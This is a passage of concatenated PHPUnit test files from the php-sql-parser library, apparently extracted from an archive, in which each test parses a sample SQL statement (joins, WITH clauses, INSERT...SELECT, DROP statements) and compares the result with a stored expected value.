/**
 * inlist.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class inlistTest extends \PHPUnit\Framework\TestCase {
	
    public function testInlist() {
        $parser = new PHPSQLParser();

        $sql = "SELECT q.qid, question, gid FROM questions as q WHERE (select count(*) from answers as a where a.qid=q.qid and scale_id=0)=0 and sid=11929 AND type IN ('F', 'H', 'W', 'Z', '1') and q.parent_qid=0";
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'inlist1.serialized');
        $this->assertEquals($expected, $p, 'in list within WHERE clause');

    }
}

PK     \bJ    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue94Test.phpnu [        <?php
/**
 * issue94.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue94Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue94() {



        $sql = 'SELECT DATE_ADD(NOW(), INTERVAL 1 MONTH) AS next_month';
        $parser = new PHPSQLParser();
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'issue94.serialized');
        $this->assertEquals($expected, $p, 'date_add()');

    }
}

PK     \On    ?  vendor/greenlion/php-sql-parser/tests/cases/parser/leftTest.phpnu [        <?php
/**
 * leftTest.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class LeftTest extends \PHPUnit\Framework\TestCase {
	
    public function testLeft1() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT a.field1, b.field1, c.field1
          FROM tablea a 
          LEFT JOIN tableb b ON b.ida = a.id
          LEFT JOIN tablec c ON c.idb = b.id;';

        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'left1.serialized');
        $this->assertEquals($expected, $p, 'left join with alias');
    }
    
    public function testLeft2() {
        $sql = 'SELECT a.field1, b.field1, c.field1
          FROM tablea a 
          LEFT OUTER JOIN tableb b ON b.ida = a.id
          RIGHT JOIN tablec c ON c.idb = b.id
          JOIN tabled d USING (d_id)
          right outer join e on e.id = a.e_id
          left join e e2 using (e_id)
          join e e3 on (e3.e_id = e2.e_id)';
        $parser = new PHPSQLParser();
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'left2.serialized');
        $this->assertEquals($expected, $p, 'right and left outer joins');
    }
}
?>
PK     \{1  1  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue84Test.phpnu [        <?php
/**
 * issue84.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue84Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue84() {


        $parser = new PHPSQLParser();
        $sql = "INSERT INTO newTablename SELECT field1, field2, field3 FROM oldTablename where field1 > 100";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue84a.serialized');
        $this->assertEquals($expected, $p, 'INSERT ... SELECT .. FROM ... WHERE');


        $parser = new PHPSQLParser();
        $sql = "INSERT INTO newTablename (SELECT field1, field2, field3 FROM oldTablename where field1 > 100)";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue84b.serialized');
        $this->assertEquals($expected, $p, 'INSERT ... (SELECT .. FROM ... WHERE)');


        $parser = new PHPSQLParser();
        $sql = "INSERT INTO newTablename (field1, field2, field3) VALUES (1, 2, 3)";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue84c.serialized');
        $this->assertEquals($expected, $p, 'INSERT ... (cols) VALUES (values)');

    }
}

PK     \4	  4	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue45Test.phpnu [        <?php
/**
 * issue45.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue45Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue45() {


        $parser = new PHPSQLParser();

        $sql = 'SELECT a from b left join c on c.a = b.a and (c.b. = b.b) where a.a > 1';
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue45.serialized');
        $this->assertEquals($expected, $p, 'issue 45 position problem');

    }
}

PK     \	@    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue137Test.phpnu [        <?php
/**
 * issue137.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue137Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue137() {


        $sql = "select`title`from`table`";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue137.serialized');
        $this->assertEquals($expected, $p, 'SQL statements without whitespace');

    }
}

PK     \ڎeFz	  z	  A  vendor/greenlion/php-sql-parser/tests/cases/parser/gtltopTest.phpnu [        <?php
/**
 * gtltop.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class gtltopTest extends \PHPUnit\Framework\TestCase {
	
    public function testGtltop() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT c1
                  from some_table an_alias
        	where d>=0 and d>0 and d>1 and d>-1 and d<2 and d<>0  or d <> 0 or d<>"test1" or d <> "test2";';
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'gtltop.serialized');
        $this->assertEquals($expected, $p, 'a lot of where clauses');

    }
}

PK     \cj?    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue136Test.phpnu [        <?php
/**
 * issue136.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\utils\ExpressionType;

class Issue136Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue136a() {
        $sql = "WITH myTableName AS (
                select firstname, lastname from employee where lastname = 'test'
                )
                SELECT firstname FROM myTableName";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue136a.serialized');
        $this->assertEquals($expected, $p, 'ORACLE\'s WITH statement');
    }

    public function testIssue136b() {
        $sql = "WITH myTableName AS (
                select firstname, lastname from employee where lastname = 'test'
                ), another_table AS (
        		select x,y FROM z
        		)
                SELECT firstname FROM myTableName, another_table";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue136b.serialized');
        $this->assertEquals($expected, $p, 'ORACLE\'s WITH statement');
    }
}
?>
PK     \C  C  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue248Test.phpnu [        <?php
/**
 * issue248.php
 *
 * Test case for PHPSQLParser.
 */

namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class issue248Test extends \PHPUnit\Framework\TestCase {

	public function testIssue248() {
		/*
		 * https://github.com/greenlion/PHP-SQL-Parser/issues/248
		 * DROP INDEX doesn't get parsed.
		 */
		$sql      = "DROP INDEX test on wp_posts";
		$parser   = new PHPSQLParser( $sql );
		$expected = getExpectedValue( dirname( __FILE__ ), 'issue248.serialized' );
		$this->assertEquals( $expected, $parser->parsed, 'drop index statement' );
	}
}

PK     \v.B
  B
  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue133Test.phpnu [        <?php
/**
 * issue133.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue133Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue133() {


        $sql = "SELECT x,y,z FROM MDR1.Particles85 WHERE RAND(154321) <= 2.91E-5";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue133a.serialized');
        $this->assertEquals($expected, $p, 'scientific numbers');

        $sql = "SELECT x,y,z FROM MDR1.Particles85 WHERE RAND(154321) <= 2E+5";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue133b.serialized');
        $this->assertEquals($expected, $p, 'scientific numbers');

    }
}

PK     \l
^	  ^	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue37Test.phpnu [        <?php
/**
 * issue37.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue37Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue37() {


        $parser = new PHPSQLParser();

        $sql = "INSERT INTO test (`name`, `test`) VALUES ('Hello this is what happens\n when new lines are involved', '')";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue37.serialized');
        $this->assertEquals($expected, $p, 'INSERT statement with newline character');

    }
}

PK     \Y`  `  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue74Test.phpnu [        <?php
/**
 * issue74.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue74Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue74() {


        $parser = new PHPSQLParser();

        // DROP {DATABASE | SCHEMA} [IF EXISTS] db_name
        $sql = "DROP DATABASE blah";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue74a.serialized');
        $this->assertEquals($expected, $p, 'drop database statement');

        $sql = "DROP SCHEMA blah";
        $p = $parser->parse($sql, true);
